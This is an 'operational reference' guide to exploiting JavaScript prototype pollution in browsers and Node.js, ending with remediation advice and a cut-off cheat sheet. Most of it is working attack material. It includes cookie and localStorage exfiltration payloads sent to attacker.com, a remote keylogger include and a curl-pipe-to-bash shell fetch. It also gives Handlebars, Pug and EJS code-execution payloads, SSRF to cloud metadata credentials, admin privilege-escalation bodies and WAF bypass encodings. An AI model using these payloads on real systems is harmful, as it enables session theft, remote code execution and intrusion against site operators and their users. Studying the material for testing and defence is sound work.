A complete operational reference for Prototype Pollution covering client-side, server-side (Node.js), and DOM-based variants. Covers detection, source identification, gadget hunting, exploitation chains, JSON merge abuse, AST injection, framework-specific issues, tools (PPScan, ppfuzz, AST-Grep), bypass techniques, and remediation. Mapped to MITRE ATT&CK T1059.007 (JavaScript execution) and CWE-1321.
1. Core Concepts & Vulnerability Types
PROTOTYPE POLLUTION TAXONOMY:
CLIENT-SIDE Prototype Pollution (Browser JavaScript)
├── Query String → pollute via ?__proto__[x]=y
├── URL Hash → pollute via #__proto__[x]=y
├── JSON input → pollute via parsed {"__proto__":{"x":"y"}}
└── postMessage → pollute via cross-origin message payloads
SERVER-SIDE Prototype Pollution (Node.js)
├── JSON body parsing → {"__proto__":{"x":"y"}} in POST body
├── Query string → ?__proto__[isAdmin]=true
├── Deep merge / clone functions → recursive key assignment
└── Template engine injection → Handlebars, Pug, EJS pollution
DOM-BASED Prototype Pollution (Browser, DOM Sinks)
├── URL → prototype → DOM gadget → XSS
├── Stored → prototype → DOM gadget → XSS
└── innerHTML / eval sinks consuming polluted properties
Key Terms:
- Prototype — Every JavaScript object has an internal [[Prototype]] link. Properties not found on the object itself are looked up on the prototype chain.
- __proto__ — A legacy accessor that exposes an object's prototype. Assigning to it rewrites the prototype.
- Object.prototype — The root prototype shared by ALL plain objects. Polluting it affects every {} in the runtime.
- constructor.prototype — Alternative access path to the same root: obj.constructor.prototype === Object.prototype.
- Gadget — Existing code in the application/library that reads a property from Object.prototype and does something dangerous with it (write to DOM, call eval, set headers, pass to shell, etc.).
- Source — User-controlled input that reaches a vulnerable merge/clone function.
- Sink — The dangerous operation triggered by the polluted property via a gadget.
- PP → XSS — Prototype Pollution used as a stepping stone to Cross-Site Scripting via DOM gadgets.
- PP → RCE — Prototype Pollution on Node.js used to inject properties that reach child_process.exec or template engine code execution paths.
2. How JavaScript Prototype Chain Works
2.1 Normal Prototype Lookup
const obj = {};
obj.toString(); // not on obj → looks up prototype chain → Object.prototype.toString
// Chain:
// obj → Object.prototype → null
2.2 The Pollution Mechanism
// If vulnerable merge function does this:
function merge(target, source) {
for (let key in source) {
target[key] = source[key]; // ← no key check!
}
}
// Attacker controls source as:
const malicious = JSON.parse('{"__proto__":{"isAdmin":true}}');
merge({}, malicious);
// Now:
const newObj = {};
console.log(newObj.isAdmin); // true ← POLLUTED!
// Every {} in the runtime now has isAdmin = true
2.3 Three Pollution Paths
// Path 1 — __proto__ (most common):
obj["__proto__"]["polluted"] = "yes";
// Path 2 — constructor.prototype:
obj["constructor"]["prototype"]["polluted"] = "yes";
// Path 3 — Nested key traversal:
// When merge does: target[key][subkey] = value
// and key = "__proto__", subkey = "polluted"
merge({}, {"__proto__": {"polluted": "yes"}});
// All three result in:
({}).polluted === "yes" // true
2.4 Why It's Dangerous
// Before pollution:
const user = {};
if (user.isAdmin) {
grantAccess(); // never runs
}
// After polluting Object.prototype.isAdmin = true:
const user = {};
if (user.isAdmin) {
grantAccess(); // RUNS for every user object!
}
3. Detection & Fingerprinting
3.1 Manual Browser Detection
// Open DevTools Console (F12) and test:
// Step 1 — Identify input that gets parsed/merged
// Look for: URL query params, hash fragments, JSON body, postMessage
// Step 2 — Inject payload and check pollution
// In URL: https://target.com/?__proto__[testPP]=izanaghi123
// Step 3 — Check in console:
({}).testPP // "izanaghi123" → POLLUTED!
window.testPP // also "izanaghi123"
// Alternative path:
// https://target.com/?constructor[prototype][testPP]=izanaghi123
({}).testPP // check again
3.2 Confirming Client-Side PP via URL
# Test URL patterns (try all three paths):
?__proto__[testPP]=izanaghi
?__proto__.testPP=izanaghi
?constructor[prototype][testPP]=izanaghi
?constructor.prototype.testPP=izanaghi
# Hash-based:
#__proto__[testPP]=izanaghi
# After loading page, check in console:
Object.prototype.testPP // "izanaghi" → confirmed
3.3 Confirming Server-Side PP (Node.js)
# Send polluted JSON body:
curl -s -X POST https://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__":{"testPP":"izanaghi123"}}'
# If the server reflects or uses Object.prototype properties,
# look for behavioral changes (status codes, response fields, errors)
# Alternative paths in JSON:
{"__proto__":{"x":"y"}}
{"constructor":{"prototype":{"x":"y"}}}
# Query string SSPP:
curl "https://target.com/api?__proto__[x]=y"
curl "https://target.com/api?constructor[prototype][x]=y"
3.4 Fingerprinting Vulnerable Libraries
Common vulnerable functions to look for in source / node_modules:
| Library / Function | Vulnerable Pattern |
|---|---|
lodash < 4.17.11 |
_.merge(), _.defaultsDeep(), _.set() |
jQuery < 3.4.0 |
$.extend(true, {}, userInput) |
hoek < 4.2.1 / < 5.0.3 |
hoek.merge(), hoek.applyToDefaults() |
deepmerge < 4.2.2 |
deepmerge(target, source) |
merge < 2.1.1 |
merge.recursive(true, {}, userInput) |
defaults-deep < 0.2.4 |
defaultsDeep({}, userInput) |
mixin-deep < 1.3.2 |
mixinDeep({}, userInput) |
set-value < 2.0.1 |
setValue(obj, key, value) |
getobject |
getobject.set(obj, key, value) |
flat < 5.0.1 |
flat.unflatten(userInput) |
qs < 6.7.3 |
qs.parse("__proto__[x]=y") |
3.5 Finding Sources in Client-Side Code
// Common sources to grep for in JS files:
location.search // URL query string
location.hash // URL hash fragment
document.cookie // cookies
postMessage // cross-origin messages
JSON.parse(...) // parsed JSON input
URLSearchParams // modern query parsing
// Grep for vulnerable merge patterns:
grep -rn "merge\|deepMerge\|extend\|assign\|defaultsDeep\|set(" \
--include="*.js" .
4. Client-Side Prototype Pollution
4.1 Query String Based PP
# Application parses query string into object without sanitization:
# e.g., using qs.parse() or custom parser
# Payload:
https://target.com/page?__proto__[x]=injected
https://target.com/page?__proto__[innerHTML]=<img src=x onerror=alert(1)>
https://target.com/page?__proto__[src]=//attacker.com/evil.js
# Burp Suite: right-click → "Send to Repeater"
# Modify GET /?__proto__[isAdmin]=true HTTP/1.1
# Check response for behavioral change or check JS console via Burp's browser
4.2 Hash Fragment Based PP
# Some apps parse the fragment (#) portion of the URL
# e.g., AngularJS, custom hash routers
# Payload:
https://target.com/#__proto__[polluted]=1
https://target.com/#!/__proto__[isAdmin]=1
# JavaScript that's vulnerable:
const params = parseHash(location.hash); // custom parser — no sanitization
merge(config, params); // pollutes Object.prototype
4.3 JSON Input Based PP
// Vulnerable code path:
const userConfig = JSON.parse(req.body); // JSON.parse is safe by itself
deepMerge(defaultConfig, userConfig); // ← vulnerable merge here
// Payload:
{
"settings": "dark",
"__proto__": {
"isAdmin": true,
"role": "superuser"
}
}
// Also try nested constructor path:
{
"constructor": {
"prototype": {
"isAdmin": true
}
}
}
4.4 postMessage Based PP
// Vulnerable receiver:
window.addEventListener("message", (e) => {
const data = JSON.parse(e.data);
merge(config, data); // ← pollutes prototype
});
// Attacker's page sends:
<script>
const target = window.open("https://vulnerable.com");
setTimeout(() => {
target.postMessage(
JSON.stringify({"__proto__": {"polluted": "yes"}}),
"*"
);
}, 2000);
</script>
5. Server-Side Prototype Pollution (Node.js)
5.1 Basic SSPP via JSON Body
# Express.js app with body-parser:
# POST /api/settings with body:
curl -s -X POST https://target.com/api/settings \
-H "Content-Type: application/json" \
-d '{"__proto__":{"isAdmin":true}}'
# If app later checks:
# if (req.user.isAdmin) → true for every user object
# Also try:
curl -s -X POST https://target.com/api/settings \
-H "Content-Type: application/json" \
-d '{"constructor":{"prototype":{"isAdmin":true}}}'
5.2 Detecting SSPP Blind (No Output)
# Technique 1 — Status code change:
# Pollute a property that changes branching logic
curl -d '{"__proto__":{"status":555}}' -H "Content-Type: application/json" \
https://target.com/api/data
# Technique 2 — Response delay:
# Pollute JSON.stringify replacer or similar
# (advanced — app-specific)
# Technique 3 — Error triggering:
# Pollute a property expected to be undefined
curl -d '{"__proto__":{"toString":"polluted"}}' \
-H "Content-Type: application/json" https://target.com/api/data
# If server errors with "polluted is not a function" → confirmed
# Technique 4 — Environment variable injection (see Section 11.1):
# Pollute env vars to confirm SSPP
curl -d '{"__proto__":{"NODE_OPTIONS":"--inspect=attacker.com"}}' \
-H "Content-Type: application/json" https://target.com/api/data
5.3 Express.js Specific Gadgets
// Gadget 1 — res.json() uses status:
// Pollute: {"__proto__":{"status":200}}
// Can override HTTP response status codes
// Gadget 2 — express.static options:
// Pollute: {"__proto__":{"root":"/","dotfiles":"allow"}}
// May enable path traversal via static file serving
// Gadget 3 — app.set / app.get settings:
// Pollute: {"__proto__":{"etag":false}}
// Affects express internal settings if read from Object.prototype
// Gadget 4 — res.render() template path:
// Pollute: {"__proto__":{"view engine":"pug","views":"/tmp"}}
// Combined with file write → SSTI → RCE
5.4 SSPP via Query String (qs library)
# qs < 6.7.3 parses __proto__ in query strings:
curl "https://target.com/api/data?__proto__[isAdmin]=true"
curl "https://target.com/api/data?__proto__[shell]=sleep+5"
curl "https://target.com/api/data?constructor[prototype][isAdmin]=true"
# Testing with Python:
python3 -c "
import requests
r = requests.get('https://target.com/api',
params={'__proto__[testPP]': 'izanaghi123'})
print(r.status_code, r.text[:500])
"
6. DOM-Based Prototype Pollution to XSS
6.1 The PP → XSS Chain
SOURCE (user-controlled input)
↓
MERGE/CLONE (vulnerable library processes input)
↓
Object.prototype POLLUTED (e.g., x = "<img onerror=...>")
↓
GADGET (existing code reads the property and writes to DOM)
↓
XSS (script executes in victim's browser)
6.2 Common DOM Gadgets
// Gadget 1 — innerHTML write:
// Somewhere in app code:
document.getElementById("container").innerHTML = config.template;
// Pollute: ?__proto__[template]=<img src=x onerror=alert(document.domain)>
// Gadget 2 — document.write:
document.write(options.header);
// Pollute: ?__proto__[header]=<script>alert(1)</script>
// Gadget 3 — eval:
eval(settings.callback);
// Pollute: ?__proto__[callback]=alert(origin)
// Gadget 4 — setTimeout/setInterval:
setTimeout(config.onLoad, 100);
// Pollute: ?__proto__[onLoad]=alert(1)
// Gadget 5 — jQuery .html():
$(selector).html(opts.content);
// Pollute: ?__proto__[content]=<img src=x onerror=alert(1)>
// Gadget 6 — src attribute:
script.src = config.scriptSrc;
// Pollute: ?__proto__[scriptSrc]=//attacker.com/evil.js
// Gadget 7 — location.href:
location.href = settings.redirectUrl;
// Pollute: ?__proto__[redirectUrl]=javascript:alert(1)
6.3 Exploitation Example (Full)
# Target: https://example.com/dashboard
# Vulnerable: custom query parser → lodash _.merge()
# Gadget: app code does: el.innerHTML = config.defaultMsg;
# Step 1: Confirm pollution:
# https://example.com/dashboard?__proto__[testPP]=izanaghi
# Console: ({}).testPP → "izanaghi" ✓
# Step 2: Find gadget:
# Grep JS files for: innerHTML, document.write, eval
# Found: el.innerHTML = options.defaultMsg || "";
# Step 3: Exploit:
# https://example.com/dashboard?__proto__[defaultMsg]=<img src=x onerror=alert(document.cookie)>
# Step 4: Deliver to victim:
# https://example.com/dashboard?__proto__[defaultMsg]=<img%20src=x%20onerror=fetch('//attacker.com/?c='+document.cookie)>
6.4 XSS Payload Escalation
// Basic confirm:
?__proto__[x]=<img src=x onerror=alert(document.domain)>
// Cookie theft:
?__proto__[x]=<img src=x onerror=fetch('//attacker.com/?c='+btoa(document.cookie))>
// localStorage dump:
?__proto__[x]=<img src=x onerror=fetch('//attacker.com/?l='+btoa(JSON.stringify(localStorage)))>
// Full keylogger / session hijack:
?__proto__[x]=<script src=//attacker.com/keylogger.js></script>
// CSP bypass via JSONP (if available):
?__proto__[x]=<script src=https://target.com/api/jsonp?callback=alert(1)></script>
7. Gadget Hunting
7.1 Manual Gadget Hunting in JavaScript
# Clone JS source locally, then grep:
# innerHTML / outerHTML writes:
grep -rn "\.innerHTML\s*=\|\.outerHTML\s*=" --include="*.js" .
# eval / Function constructor:
grep -rn "\beval\b\|new Function(" --include="*.js" .
# script src assignment:
grep -rn "\.src\s*=\|scriptSrc\|loadScript" --include="*.js" .
# document.write:
grep -rn "document\.write\b" --include="*.js" .
# setTimeout / setInterval with string arg:
grep -rn "setTimeout\|setInterval" --include="*.js" . | grep "config\|opts\|settings\|options"
# location redirect:
grep -rn "location\.href\s*=\|location\.replace\|location\.assign" --include="*.js" .
# jQuery html / append:
grep -rn "\.html(\|\.append(\|\.prepend(" --include="*.js" . | grep "config\|opt"
# window[]:
grep -rn "window\[" --include="*.js" .
7.2 Node.js Server-Side Gadgets
// Gadget 1 — child_process.spawn options.shell:
// Vulnerable pattern:
const {spawn} = require("child_process");
spawn(cmd, args, options);
// Pollute: {"__proto__":{"shell":"/bin/bash",
// "argv0":"bash","env":{"x":"y; COMMAND;"}}}
// Gadget 2 — child_process.fork env:
const cp = require("child_process");
cp.fork(module, [], { env: process.env });
// Pollute env properties that get merged into child env
// Gadget 3 — res.json status:
res.json(data); // internally reads this.statusCode
// Pollute: {"__proto__":{"statusCode":200}}
// Gadget 4 — process.env via Object.assign:
Object.assign(process.env, userInput);
// Pollute: {"NODE_OPTIONS": "--require /proc/self/fd/0"}
// Gadget 5 — vm.runInNewContext options:
vm.runInNewContext(code, sandbox, opts);
// Pollute opts.filename or opts.lineOffset
// Gadget 6 — Template engine (Handlebars):
// See Section 9 — AST injection
7.3 Using Browser DevTools for Gadget Discovery
// Technique 1 — Property monitor:
// Intercept reads on Object.prototype via Proxy:
const handler = {
get(target, prop, receiver) {
if (!(prop in target)) {
console.trace(`Object.prototype.${prop} accessed!`);
}
return Reflect.get(target, prop, receiver);
}
};
Object.prototype = new Proxy(Object.prototype, handler);
// Then trigger app functionality and watch the console
// Technique 2 — DOM breakpoints:
// DevTools → Sources → DOM breakpoints → Subtree modifications
// Watch for DOM writes after prototype is polluted
// Technique 3 — XHR/fetch interception + pollution testing:
// Pollute one property at a time and observe app behavior
// Use BurpSuite's browser + DOM Invader (built-in PP scanner)
8. JSON Merge / Deep Clone Abuse
8.1 Vulnerable Merge Patterns
// PATTERN 1 — Recursive key assignment (most common):
function merge(target, source) {
for (const key in source) { // ← iterates "__proto__"
if (typeof source[key] === "object") {
target[key] = target[key] || {};
merge(target[key], source[key]);
} else {
target[key] = source[key]; // ← assigns to __proto__
}
}
}
// Fix: add key check — if (key === "__proto__") continue;
// PATTERN 2 — JSON.parse + Object.assign (SAFE if shallow):
Object.assign({}, JSON.parse(input)); // ← SAFE (shallow copy)
// PATTERN 3 — Spread (SAFE):
const merged = {...defaults, ...userInput}; // ← SAFE (shallow)
// PATTERN 4 — Custom deepClone:
function deepClone(obj) {
return JSON.parse(JSON.stringify(obj)); // ← SAFE
}
// PATTERN 5 — lodash _.merge (VULNERABLE < 4.17.11):
_.merge({}, JSON.parse(input)); // ← POLLUTES
// PATTERN 6 — jQuery extend (VULNERABLE < 3.4.0):
$.extend(true, {}, JSON.parse(input)); // ← POLLUTES
8.2 Exploiting flat.unflatten()
// flat library unflatten is vulnerable:
const flat = require("flat");
flat.unflatten({"__proto__.isAdmin": "true"});
// Now: ({}).isAdmin === "true"
// Payload via query string:
// ?__proto__.isAdmin=true (if app uses flat.unflatten on query)
// Payload via JSON body:
{"__proto__.isAdmin": "true"}
8.3 Exploiting qs.parse()
# qs < 6.7.3:
# URL: ?__proto__[polluted]=yes
# qs.parse → {"__proto__": {"polluted": "yes"}}
# merged into options → prototype polluted
# Payload patterns:
curl "https://target.com/?__proto__[isAdmin]=1"
curl "https://target.com/?__proto__[debug]=true"
curl "https://target.com/?constructor[prototype][isAdmin]=1"
# qs safe version (6.7.3+) rejects __proto__ keys by default
9. AST Injection via Prototype Pollution
9.1 How AST Injection Works
Template Engine parses template → builds AST (Abstract Syntax Tree)
If Object.prototype has been polluted with AST node properties
→ the template engine reads polluted properties during traversal
→ arbitrary code executes inside the template engine sandbox
9.2 Handlebars PP → RCE
// Handlebars < 4.7.7 is vulnerable.
// Pollution path: __proto__[pendingContent] or __proto__[type]
// Payload (send as POST JSON body):
{
"__proto__": {
"pendingContent": "injected"
}
}
// Full RCE payload (Handlebars 4.6.0):
// Pollute the AST node type to trigger code evaluation:
{
"__proto__": {
"type": "Program",
"body": [{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"original": "process.mainModule.require('child_process').execSync('id')",
"parts": ["process"],
"data": false,
"depth": 0
},
"params": [],
"hash": null,
"escaped": true,
"strip": {}
}]
}
}
// Use the Handlebars exploit template:
// https://github.com/nicowillis/handlebars-prototype-pollution-rce
9.3 Pug (Jade) PP → RCE
// Pug template engine via prototype pollution:
// Pollute: __proto__[block][type] or __proto__[nodes]
// Exploit:
{
"__proto__": {
"block": {
"type": "Text",
"line": "- global.process.mainModule.require('child_process').execSync('id > /tmp/pwned')"
}
}
}
// Or via options.self abuse:
pug.render("p Hello", {self: true, ...pollutedOptions});
9.4 EJS PP → RCE (CVE-2022-29078)
// EJS < 3.1.7 — outputFunctionName gadget:
// Pollute: __proto__[outputFunctionName]=x;process.mainModule...//
// Payload via Node.js with vulnerable lodash merge:
const _ = require("lodash");
_.merge({}, JSON.parse('{"__proto__":{"outputFunctionName":"x;global.process.mainModule.require(\'child_process\').execSync(\'id > /tmp/pwned\');//"}}'));
const ejs = require("ejs");
ejs.render("", {}); // ← triggers RCE via polluted outputFunctionName
10. Framework & Library-Specific Issues
10.1 lodash
# Vulnerable versions: < 4.17.11
# Vulnerable functions: _.merge(), _.defaultsDeep(), _.set()
# Check version:
npm list lodash
# _.merge exploit:
node -e "
const _ = require('lodash');
const payload = JSON.parse('{\"__proto__\":{\"polluted\":\"izanaghi\"}}');
_.merge({}, payload);
console.log(({}).polluted);
"
# Output: izanaghi → VULNERABLE
# Patch: upgrade lodash >= 4.17.12
# Or use: _.merge with Object.create(null) targets
10.2 jQuery
// Vulnerable: $.extend(true, {}, userInput) in jQuery < 3.4.0
// Exploit:
$.extend(true, {}, JSON.parse('{"__proto__":{"polluted":"yes"}}'));
console.log(({}).polluted); // "yes" → VULNERABLE
// Safe: jQuery >= 3.4.0 skips __proto__ keys
// Or use: Object.assign() instead of $.extend(true, ...)
10.3 Express.js
// Express does not directly have PP bugs but is affected by:
// 1. qs module used for query parsing (see 8.3)
// 2. body-parser + deep merge in route handlers
// 3. express-validator if it merges user input into options
// Test:
// POST /api with body: {"__proto__":{"x":"y"}}
// Check if x appears on any new object in route handlers
// Detect via debug logging:
const original = Object.prototype.__proto__;
Object.defineProperty(Object.prototype, 'testPP', {
set(v) { console.trace('Prototype polluted:', v); }
});
10.4 Fastify / Hapi (Node.js frameworks)
// Fastify uses fast-json-stringify + ajv schema validation
// Schema validation prevents most PP if schema is strict
// However: if Fastify app uses custom merge for config:
fastify.register(plugin, deepMerge(defaultOpts, userOpts)); // ← check
// Hapi uses hoek internally:
// hoek < 4.2.1 vulnerable to PP via hoek.merge() / hoek.applyToDefaults()
npm list hoek
10.5 Client-Side Frameworks
| Framework | Version | Vulnerable Function | Impact |
|---|---|---|---|
| AngularJS | < 1.7.9 | angular.merge() |
PP → XSS |
| Vue.js | < 2.6.x | Vue.set() with __proto__ |
PP |
| React | Not directly | Depends on lib (lodash etc.) | PP via deps |
| Backbone.js | < 1.4.0 | _.extend() |
PP → XSS |
| Prototype.js | Legacy | Object.extend() |
PP → XSS |
| jQuery | < 3.4.0 | $.extend(true, ...) |
PP → XSS |
11. Exploitation Chains (PP → RCE / XSS / Privilege Escalation)
11.1 SSPP → RCE via child_process (NODE_OPTIONS)
# Exploit: Pollute NODE_OPTIONS environment variable
# This affects how Node.js spawns child processes
# Payload:
curl -s -X POST https://target.com/api \
-H "Content-Type: application/json" \
-d '{"__proto__":{"NODE_OPTIONS":"--inspect=attacker.com:9229"}}'
# More direct RCE via shell option in spawn:
# If app spawns child process after handling user input:
# Payload that abuses shell option:
{
"__proto__": {
"shell": "/proc/self/exe",
"argv0": "node",
"NODE_OPTIONS": "--require /proc/self/fd/0"
}
}
# Full RCE chain — requires the app to call spawn() after pollution:
{
"__proto__": {
"shell": true,
"env": {
"EVIL": "$(curl http://attacker.com/shell.sh|bash)"
}
}
}
11.2 SSPP → RCE via Template Engine (EJS/Handlebars)
// Step 1: Pollute via POST body with lodash merge:
// POST /api/config
// {"__proto__":{"outputFunctionName":"x;require('child_process').execSync('id>/tmp/pwn')//"}}
// Step 2: Trigger template render anywhere in the app
// GET /dashboard (renders with EJS)
// → EJS reads outputFunctionName from options (now polluted)
// → Executes arbitrary code during template compilation
// Verify:
// curl https://target.com/dashboard
// Then check /tmp/pwn exists (or use a canary like ping/curl to attacker)
11.3 SSPP → Privilege Escalation
# Pattern: app checks user.isAdmin or user.role
# Vulnerable server code:
# const user = await getUser(req.session.userId); // → {}
# if (user.isAdmin) { return adminData; }
# Payload:
curl -s -X POST https://target.com/api/profile \
-H "Content-Type: application/json" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"__proto__":{"isAdmin":true}}'
# Now GET /api/admin returns admin data because
# every {} in the runtime has isAdmin = true
# Bypass role checks:
'{"__proto__":{"role":"admin","permissions":["read","write","delete"]}}'
11.4 Client-Side PP → Stored XSS
Scenario: App stores user preferences (JSON) in DB,
loads them on next visit, merges into config object.
Step 1: POST /api/preferences
{"theme":"dark","__proto__":{"innerHTML":"<img src=x onerror=alert(document.cookie)>"}}
Step 2: Server stores this JSON (no sanitization)
Step 3: Next visit → GET /api/preferences → polluted JSON loaded
→ Client-side merge → Object.prototype.innerHTML = "<img...>"
Step 4: App code does: el.innerHTML = config.innerHTML || "";
→ But config is {} so it falls through to Object.prototype.innerHTML
→ XSS fires on every page load!
11.5 PP → SSRF via Node.js http.request Options
// If app does: http.request(_.merge(defaultOpts, userInput))
// Pollute: hostname, port, path
// Payload:
{
"__proto__": {
"hostname": "169.254.169.254",
"port": 80,
"path": "/latest/meta-data/iam/security-credentials/"
}
}
// → http.request uses polluted values → SSRF to cloud metadata
12. Tools — PPScan, ppfuzz, AST-Grep
12.1 Burp Suite DOM Invader (Built-in PP Detection)
# Built into Burp Suite's browser (Chromium-based)
# Enable: Burp → Proxy → Open Browser → DevTools → DOM Invader tab
# Features:
# - Automatically injects canary into URL params, hash, postMessage
# - Detects Object.prototype pollution
# - Shows polluted property names and gadgets found
# - Click "Exploit" to generate XSS payloads automatically
# Manual setup in any browser console:
Object.prototype.addEventListener = function() {
console.trace("addEventListener gadget triggered");
};
12.2 ppfuzz (Automated PP Fuzzer)
# Install:
cargo install ppfuzz
# OR:
git clone https://github.com/dwisiswant0/ppfuzz
cd ppfuzz && cargo build --release
./target/release/ppfuzz --help
# Basic scan:
ppfuzz -u "https://target.com/" --delay 200ms
# Scan with custom wordlist:
ppfuzz -u "https://target.com/" -c "/path/to/payloads.txt"
# Scan with proxy (Burp):
ppfuzz -u "https://target.com/" --proxy "http://127.0.0.1:8080"
# Verbose output:
ppfuzz -u "https://target.com/" -v
# Multiple targets from file:
ppfuzz -l targets.txt --delay 500ms -o results.json
12.3 PPScan (JavaScript Static Analysis)
# PPScan — Node.js prototype pollution scanner
git clone https://github.com/msrkp/PPScan
cd PPScan
npm install
# Scan a URL (loads page and checks for PP):
node pplib.js https://target.com/
# Scan JavaScript file directly:
node pplib.js file.js
# Key output:
# [VULN] Prototype Pollution in: lodash.merge at line 42
# [GADGET] innerHTML write at line 87 in config.js
12.4 AST-Grep (Code Pattern Searching)
# Install:
cargo install ast-grep
# OR: npm install -g @ast-grep/cli
# Find vulnerable merge patterns:
ast-grep --lang js -p 'merge($A, $B)' .
# Find __proto__ access:
ast-grep --lang js -p '$OBJ["__proto__"]' .
ast-grep --lang js -p '$OBJ.__proto__' .
# Find innerHTML assignments from variable:
ast-grep --lang js -p '$EL.innerHTML = $VAR' .
# Find eval with non-literal:
ast-grep --lang js -p 'eval($VAR)' .
# Combine with custom rules (rule.yaml):
# id: proto-pollution
# language: javascript
# rule:
# pattern: $OBJ[$KEY] = $VAL
# has:
# pattern: for ($K in $S)
ast-grep scan --rule proto-pollution-rule.yaml .
12.5 Manual Node.js Testing Script
// test-pp.js — Drop into target's Node.js project and run
const targets = [
() => { const _ = require("lodash"); _.merge({}, {__proto__: {x:1}}); },
() => { const dm = require("deepmerge"); dm({}, {__proto__: {x:1}}); },
() => { const merge = require("merge"); merge.recursive(true, {}, {__proto__: {x:1}}); },
() => { const qs = require("qs"); qs.parse("__proto__[x]=1", {allowPrototypes: true}); },
];
targets.forEach((fn, i) => {
try {
// Clear pollution before each test:
delete Object.prototype.x;
fn();
if (({}).x === 1) {
console.log(`[VULN] Test ${i+1} is vulnerable!`);
} else {
console.log(`[SAFE] Test ${i+1} appears safe.`);
}
} catch(e) {
console.log(`[ERR] Test ${i+1} errored: ${e.message}`);
} finally {
delete Object.prototype.x;
}
});
13. WAF / Filter Bypass Techniques
13.1 Encoding Bypasses
# URL encoding __proto__:
%5F%5Fproto%5F%5F[x]=y (__proto__)
__proto%5B%5D[x]=y (__proto[][x])
# Double URL encoding:
%255F%255Fproto%255F%255F[x]=y
# Unicode escapes (in JSON strings):
{"\u005f\u005fproto\u005f\u005f":{"x":"y"}}
{"__pr\u006fto__":{"x":"y"}} // \u006f = o
# Unicode homoglyphs (rare, parser-dependent):
{"__proto__":{"x":"y"}} // fullwidth underscores
13.2 Alternative Property Paths
// When __proto__ is blocked, try:
// Path 1 — constructor.prototype:
{"constructor":{"prototype":{"x":"y"}}}
?constructor[prototype][x]=y
// Path 2 — Nested constructor:
{"a":{"constructor":{"prototype":{"x":"y"}}}}
// Path 3 — __defineGetter__:
obj.__defineGetter__("x", function() { return "polluted"; });
// Path 4 — Object.setPrototypeOf (not typically via user input, but worth noting):
Object.setPrototypeOf(obj, {x: "polluted"});
// Path 5 — Via Array:
[]["__proto__"]["x"] = "y";
// Affects Array.prototype, not Object.prototype — limited impact
13.3 JSON Parser Quirks
// Some parsers handle duplicate keys by taking last value.
// Use valid keys + prototype key so WAF sees valid JSON:
{
"name": "izanaghi",
"__proto__": {"x": "y"},
"name": "izanaghi"
}
// Whitespace tricks:
{"__proto__ ": {"x": "y"}} // trailing space (parser-dependent)
{"__PROTO__": {"x": "y"}} // case (if app normalizes keys)
// Nesting to evade flat keyword matching:
{
"settings": {
"__proto__": {"x": "y"}
}
}
// If the merge is deep, this still pollutes
13.4 Character Substitution
# When underscores are filtered:
# Try: \x5f\x5f (hex: _ = \x5f)
{"\\x5f\\x5fproto\\x5f\\x5f":{"x":"y"}}
# When brackets are filtered in query string:
?__proto__.x=y (dot notation instead of brackets)
?__proto__[x]=y (brackets)
# If application does: key.split(".").reduce(set) pattern:
?a.b.c=y
?__proto__.isAdmin=y ← dot-split traversal hits prototype
14. Remediation
14.1 Safe Merge — Key Validation
// VULNERABLE:
function merge(target, source) {
for (const key in source) {
target[key] = source[key]; // ← no check
}
}
// SAFE — blocklist:
function safeMerge(target, source) {
for (const key in source) {
if (key === "__proto__" ||
key === "constructor" ||
key === "prototype") {
continue; // ← skip dangerous keys
}
if (typeof source[key] === "object" && source[key] !== null) {
target[key] = target[key] || {};
safeMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
// SAFE — use hasOwnProperty:
function safeMerge2(target, source) {
for (const key of Object.keys(source)) { // Object.keys = own keys only
if (key === "__proto__") continue;
target[key] = source[key];
}
}
14.2 Null Prototype Objects
// Create objects that have NO prototype (can't be polluted via chain):
const safeObj = Object.create(null);
// safeObj has no __proto__, no constructor, no toString
// Merging into safeObj cannot reach Object.prototype
// Use as merge target:
function safeMerge(source) {
const target = Object.create(null);
Object.keys(source).forEach(key => {
target[key] = source[key];
});
return target;
}
// For Express config:
const config = Object.create(null);
Object.assign(config, userInput); // now safe (target has no prototype)
14.3 JSON Schema Validation
// Validate and filter input BEFORE any merge:
const Ajv = require("ajv");
const ajv = new Ajv();
const schema = {
type: "object",
additionalProperties: false, // ← blocks __proto__ if not in schema
properties: {
theme: { type: "string" },
language: { type: "string" }
}
};
const validate = ajv.compile(schema);
function processInput(userInput) {
const parsed = JSON.parse(userInput);
if (!validate(parsed)) {
throw new Error("Invalid input");
}
merge(config, parsed); // now safe — __proto__ was rejected by schema
}
14.4 Library-Level Fixes
# Update lodash >= 4.17.12:
npm install lodash@latest
# Update jQuery >= 3.4.0:
npm install jquery@latest
# Update qs >= 6.7.3:
npm install qs@latest
# Update deepmerge >= 4.2.2:
npm install deepmerge@latest
# npm audit — find all vulnerable deps:
npm audit
npm audit fix
npm audit fix --force # careful: may break API
# Check specific package:
npm list lodash
npm view lodash versions | tail -5
14.5 freeze Object.prototype (Nuclear Option)
// Lock Object.prototype entirely — prevents any pollution:
Object.freeze(Object.prototype);
// After this, any attempt to pollute will silently fail (non-strict)
// or throw TypeError (strict mode).
// Caveats:
// - May break legitimate libraries that extend Object.prototype
// - Some polyfills won't work
// - Test thoroughly before deploying
// - Does NOT protect against constructor.prototype pollution if freeze
// is applied before constructor is set up
// Safer approach — freeze just specific properties:
Object.defineProperty(Object.prototype, "__proto__", {
get() { return Object.getPrototypeOf(this); },
set() { /* no-op */ },
configurable: false
});
14.6 Defense-in-Depth Summary
- Use
Object.keys()/Object.entries()instead offor...inwhen iterating user-controlled objects → PRIMARY - Validate all user input against strict JSON Schema before merging → PRIMARY
- Upgrade vulnerable libraries (lodash, jQuery, qs, deepmerge) → REQUIRED
- Use
Object.create(null)for config/option objects that receive user input → STRONG Object.freeze(Object.prototype)in controlled environments → NUCLEAR / OPTIONAL- Never use user-controlled keys as property paths in recursive setters → PRIMARY
- WAF rules to block
__proto__andconstructorin body/query → DETECTION (not primary) - SAST scanning (PPScan, semgrep prototype-pollution rules) in CI/CD → PROACTIVE
- Enable Node.js
--secure-heapand run with minimal privileges → DEPTH
15. Master Cheat Sheet
Attack Selection Decision Tree
Found user-controlled input reaching a merge/clone/set function?
│
├── Client-side (browser)?
│ ├── Query string / hash parsed by custom parser?
│ │ └── Test: ?__proto__[testPP]=izanaghi → check console
│ ├── JSON body parsed + deep-merged?
│ │ └── Test: {"__proto__":{"testPP":"izanaghi"}}
│ └── postMessage receiver with merge?
